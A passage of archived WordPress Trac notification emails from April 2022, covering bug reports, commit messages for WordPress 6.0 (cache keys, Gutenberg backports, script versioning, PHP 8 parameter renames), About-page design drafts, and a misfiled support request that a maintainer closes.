ticket. The database has 1100 test posts in it, I was getting the indexes 35-44 for some, 1035-1044 for other test runs. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 02:55:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 02:55:50 -0000 Subject: [wp-trac] [WordPress Trac] #55460: Improve cache key generation in WP_Comment_Query In-Reply-To: <056.034103b77cb91507279f86861d47d215@wordpress.org> References: <056.034103b77cb91507279f86861d47d215@wordpress.org> Message-ID: <071.61da59af0ab9f57779d727b7f7f807f7@wordpress.org> #55460: Improve cache key generation in WP_Comment_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: tests commit | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53169" 53169]: {{{ #!CommitTicketReference repository="" revision="53169" Cache API: Improve cache key generation in `WP_Comment_Query`. Discard the parameters `update_comment_meta_cache` and `update_comment_post_cache` when generating the cache key as neither have an effect on the database query generated. Props uday17035, spacedmonkey. Fixes #55460. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55460#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 03:02:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 03:02:59 -0000 Subject: [wp-trac] [WordPress Trac] #53212: add post_type-specific version of the register_post_type_args filter In-Reply-To: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> References: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> Message-ID: <065.15045f2b094c0a3409ce6f0da87b16c4@wordpress.org> #53212: add post_type-specific version of the register_post_type_args filter -------------------------------------------------+------------------------- Reporter: pbiron | Owner: dlh Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: fixed Keywords: needs-dev-note needs-docs has-patch | Focuses: has-unit-tests | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53170" 53170]: {{{ #!CommitTicketReference repository="" revision="53170" Docs: Improve doc blocks for hooks added in [53126]. Fix a variable name and provide examples of the hook names. Follow up to [53126]. Props dlh, pbiron. Fixes #53212. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53212#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 07:05:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 07:05:01 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.11affd095d0a3c35c9a33d280db6a28b@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: gziolo Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53171" 53171]: {{{ #!CommitTicketReference repository="" revision="53171" REST API: Fix incorrect casing of patterns endpoint schema properties Follow-up [53154]. Props talldanwp. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:121> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 07:41:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 07:41:28 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg Message-ID: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+----------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Keywords: has-patch Focuses: | ----------------------------+----------------------- This is the follow-up for #55505 where we backported all necessary changes from the Gutenberg plugin for WordPress 6.0 Beta 1. That was a big task on its own so I prefer we have another one to track only bug fixes and related WordPress packages updates. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 07:42:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 07:42:19 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.f396be7ed4dc160157c40a88118e4383@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: gziolo Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): I opened a follow-up ticket for the following WordPress 6.0 Beta and RC releases. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:123> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 07:47:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 07:47:30 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.642928ac445185b4fb5795d5705c553e@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: gziolo Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53172" 53172]: {{{ #!CommitTicketReference repository="" revision="53172" Tests: Add unit tests for rendering in Comment Template block Follow-up [53138]. Props darerodz. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:124> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 09:45:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 09:45:41 -0000 Subject: [wp-trac] [WordPress Trac] #55568: design menu - entries missing Message-ID: <051.7f885fc336f4601faa01ab6a55035ab4@wordpress.org> #55568: design menu - entries missing --------------------------+----------------------------- Reporter: herrdeh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- This to me looks like a bug: My cleanly installed WP (no plugins active) is lacking menu entries at the "design" menu: [[Image(https://nextcloud.rollentausch.eu/index.php/s/z6CYJ4Kmimar6wd)]] This is an older install: [[Image(https://nextcloud.rollentausch.eu/index.php/s/yJ9SFZCEr8rQxx2)]] So I'm missing customizer, ḿenus and widgets. German localisazion, bthw. Cheers, Wolf -- Ticket URL: <https://core.trac.wordpress.org/ticket/55568> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 10:48:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 10:48:31 -0000 Subject: [wp-trac] [WordPress Trac] #55566: Start value in List block doesn't work In-Reply-To: <054.bd446df2c9b02b6a8bd2811e28dfb3e6@wordpress.org> References: <054.bd446df2c9b02b6a8bd2811e28dfb3e6@wordpress.org> Message-ID: <069.0a5e0d8eeb4f5fbe8aa02e5adf807d85@wordpress.org> #55566: Start value in List block doesn't work -------------------------------+------------------------------ Reporter: kacper3355 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Changes (by sabernhardt): * keywords: => reporter-feedback Comment: Hi and thanks for the report! If setting the `start` value works within the editor, this might be a theme problem. Which theme do you use? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55566#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 11:59:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 11:59:55 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.e493887ea4a6357836ffdd96146fd092@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note commit needs-docs | -------------------------------------------------+------------------------- Comment (by milana_cap): Replying to [comment:7 gziolo]: > @milana_cap, see my comment https://core.trac.wordpress.org/ticket/55531#comment:3. PR with documentation changes is ready for review: https://github.com/WordPress/gutenberg/pull/40027. Thank you -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 12:31:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 12:31:01 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color Message-ID: <056.77653cb82117c95411917f45503cccb9@wordpress.org> #55569: Fix Blog Post Text Color --------------------------+----------------------------------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Themes | Version: trunk Severity: blocker | Keywords: has-screenshots reporter-feedback Focuses: css | --------------------------+----------------------------------------------- **Issue:** Unable to change the blog Post title text color. **Please describe what you expected to happen and why:** We need this fix to change the blog title text color as preferred by user and should work according to text color that we choose from the color selector. **How can we reproduce this behavior?** 1. Update to WordPress 6.0 Beta 1 and Activate Gutenberg 13.0 RC 1, TT2 WP Theme. 2. Appearance > Editor (beta) 3. Select Blog Title to change the color using block option. 4. Here you could see three options ( Text, Background and Links) 5. Select Text and try to replace the text color from color picker. 6. Here you cannot able to change the blog post title text color. 7. Indeed other two options ( background and Links) Color works smoothly. [https://e1.pcloud.link/publink/show?code=XZKTVzZDJfBExIFiU0TbNiDttMVxRf9UCX0] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 13:59:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 13:59:30 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.14fd3856ec8e03bc388495ee3c079ef2@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Changes (by fcoveram): * Attachment "About 6.0 - v1.jpg" added. About 6.0 page. Version 1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 13:59:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 13:59:44 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.7fb59f27ff692b92eb0f879dbf45e71c@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Changes (by fcoveram): * Attachment "About 6.0 - v2.jpg" added. About 6.0 page. Version 2 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 14:09:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 14:09:38 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.4b0da2a3a44d785e75d5fa1cacdf1d42@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by fcoveram): Hi all. Based on @critterverse points, I started working on different ideas for the header artwork to define the page style. Here are the two ones I like most. == Version 1 [[Image(ticket:55434:About 6.0 - v1.jpg)]] This one has the 6.0 text as overlapped figures to reference the jazzy styles found in album covers without adding more decorative elements, and the font is based on the News redesign (EB Garamond). I like how bold and straightforward is and the decorative components like the 6’s top area and the single dot between the numbers. == Version 2 [[Image(ticket:55434:About 6.0 - v2.jpg)]] In this case, I blended two styles. I used the brush stroke from News redesign to separate white and blue areas, and I took the 6.0 from the grid appearance of the demo video (2:45 sec). The masked rectangle in the bottom-right area is an interface reference to give more context to the header area. == Feedback Please let me know which direction you like more and the possible tweaks you envision. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 14:31:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 14:31:59 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.5b07f068a723d597b9ebcc763f8ea503@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+---------------------- Reporter: davidbaumwald | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+---------------------- Changes (by desrosj): * status: reopened => closed * resolution: => fixed Comment: This looks confirmed as fixed, so closing out. Since the workflow file in `trunk` is used regardelss of branch, there's no need to backport. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:04:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:04:37 -0000 Subject: [wp-trac] [WordPress Trac] #55570: https://www.2gfinancial.com/ Message-ID: <050.21f7a840b9f4c1b7e9628df671701141@wordpress.org> #55570: https://www.2gfinancial.com/ --------------------------+----------------------------- Reporter: bc8888 | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Need help ASAP! I am using Elementor for my website. How do I get rid of the WordPress BLOG on the internet and be able to publish my cjanges on Elementor? Thanks, Barry Cohen barry at 2gfinancial.com or barry at nationalalgaeassociation.org -- Ticket URL: <https://core.trac.wordpress.org/ticket/55570> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:06:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:06:19 -0000 Subject: [wp-trac] [WordPress Trac] #55508: Floating links in Save postbox In-Reply-To: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> References: <055.dc5f69f8ac19b580719ae4e0e696b7ec@wordpress.org> Message-ID: <070.de0ec2167fe4d121be95697127b05b5d@wordpress.org> #55508: Floating links in Save postbox ------------------------------+------------------------ Reporter: sabernhardt | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: css ------------------------------+------------------------ Changes (by desrosj): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55508#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:25:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:25:21 -0000 Subject: [wp-trac] [WordPress Trac] #55570: How to remove WordPress blog (was: https://www.2gfinancial.com/) In-Reply-To: <050.21f7a840b9f4c1b7e9628df671701141@wordpress.org> References: <050.21f7a840b9f4c1b7e9628df671701141@wordpress.org> Message-ID: <065.77d8d413057c94970bfc2691aa02fa01@wordpress.org> #55570: How to remove WordPress blog --------------------------+---------------------- Reporter: bc8888 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by desrosj): * status: assigned => closed * resolution: => invalid * milestone: Awaiting Review => Old description: > Need help ASAP! I am using Elementor for my website. How do I get rid of > the WordPress BLOG on the internet and be able to publish my cjanges on > Elementor? > > Thanks, > > Barry Cohen > > barry at 2gfinancial.com or barry at nationalalgaeassociation.org New description: Need help ASAP! I am using Elementor for my website. How do I get rid of the WordPress BLOG on the internet and be able to publish my cjanges on Elementor? Thanks, Barry Cohen -- Comment: Hi @bc8888, Welcome to Trac! I'm sorry that you're having issues with your WordPress site. Unfortunately, this is not the best place to receive support for your issues, as this is where active development on the WordPress open source software happens. I'm going to remove the emails included in the message and close this one out as invalid, but not because you're problem is invalid. It's the default resolution for a ticket on Trac when there is no action to be taken. The best place for you to receive help with your issue is the [https://wordpress.org/support/ WordPress.org Support Forums], or by reaching out to [https://wordpress.org/support/plugin/elementor/ Elementor support directly]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55570#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:27:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:27:50 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.afdce98371c52600ce9db925185e8e3d@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: close | Focuses: --------------------------+------------------------ Changes (by desrosj): * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:44:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:44:00 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.6e924d4b88f4e81f1381826f9be1b56c@wordpress.org> #55565: clipboard script does not register with a version ---------------------------------------------+--------------------- Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: ---------------------------------------------+--------------------- Changes (by desrosj): * keywords: good-first-bug has-patch => good-first-bug has-patch commit * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:48:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:48:47 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.3e789fae317e71836b2a2250d79ac5a7@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by dansoschin): Thanks for sharing both design ideas. I do not have a strong preference - either one seems fine to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:52:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:52:23 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.3c6e40b3e37a759769e0aec1c498ec29@wordpress.org> #55565: clipboard script does not register with a version ---------------------------------------------+--------------------- Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Script Loader | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: ---------------------------------------------+--------------------- Changes (by desrosj): * component: External Libraries => Script Loader -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 15:56:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 15:56:38 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.d88a2ea5a86d3ce6ed220741677bab9a@wordpress.org> #55565: clipboard script does not register with a version ---------------------------------------------+---------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Script Loader | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: ---------------------------------------------+---------------------- Changes (by desrosj): * owner: (none) => desrosj * status: new => closed * resolution: => fixed Comment: In [changeset:"53173" 53173]: {{{ #!CommitTicketReference repository="" revision="53173" Script Loader: Specify the version of the `clipboard` library included when registering. For external libraries, the current version included with WordPress should be specified when registering scripts. Props elifvish. Fixes #55565. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 16:13:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 16:13:06 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.7aee5c0ee3d71c3a39b286725733bfd8@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53174" 53174]: {{{ #!CommitTicketReference repository="" revision="53174" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/class-wp-terms-list-table.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$parent` parameter to `$parent_term` in `WP_Terms_List_Table::_rows()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 16:30:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 16:30:29 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.d38cc098328c7c7fab7616f8781c292e@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Changes (by fcoveram): * Attachment "About 6.0 - v2.2.jpg" added. About page 6.0. Version 2.2 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 16:30:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 16:30:58 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.4b419ce7d5df838343153f67a133a8d6@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Changes (by fcoveram): * Attachment "About page. side by side.png" added. About page. side by side -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 18:24:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 18:24:26 -0000 Subject: [wp-trac] [WordPress Trac] #53948: Missing View Post from Admin Bar AFTER Publish (not update) In-Reply-To: <054.9a93e6383e7782107432b458fe404b12@wordpress.org> References: <054.9a93e6383e7782107432b458fe404b12@wordpress.org> Message-ID: <069.6775a949f4aeb2d2420b78b7b5a0261f@wordpress.org> #53948: Missing View Post from Admin Bar AFTER Publish (not update) --------------------------+----------------------------- Reporter: vondelphia | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Toolbar | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+----------------------------- Changes (by sabernhardt): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/53948#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 18:27:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 18:27:20 -0000 Subject: [wp-trac] [WordPress Trac] #54344: Required inputs on multisite site registration page lack required attribute In-Reply-To: <057.bd0effb842bcae7ad8f0aff04da118fd@wordpress.org> References: <057.bd0effb842bcae7ad8f0aff04da118fd@wordpress.org> Message-ID: <072.613abb3d9c5687b5645e6511893efbc0@wordpress.org> #54344: Required inputs on multisite site registration page lack required attribute ---------------------------------------+----------------------------------- Reporter: SteelWagstaff | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Login and Registration | Version: 5.8.1 Severity: normal | Resolution: Keywords: required-fields has-patch | Focuses: accessibility, ui- | copy ---------------------------------------+----------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54344#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 18:43:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 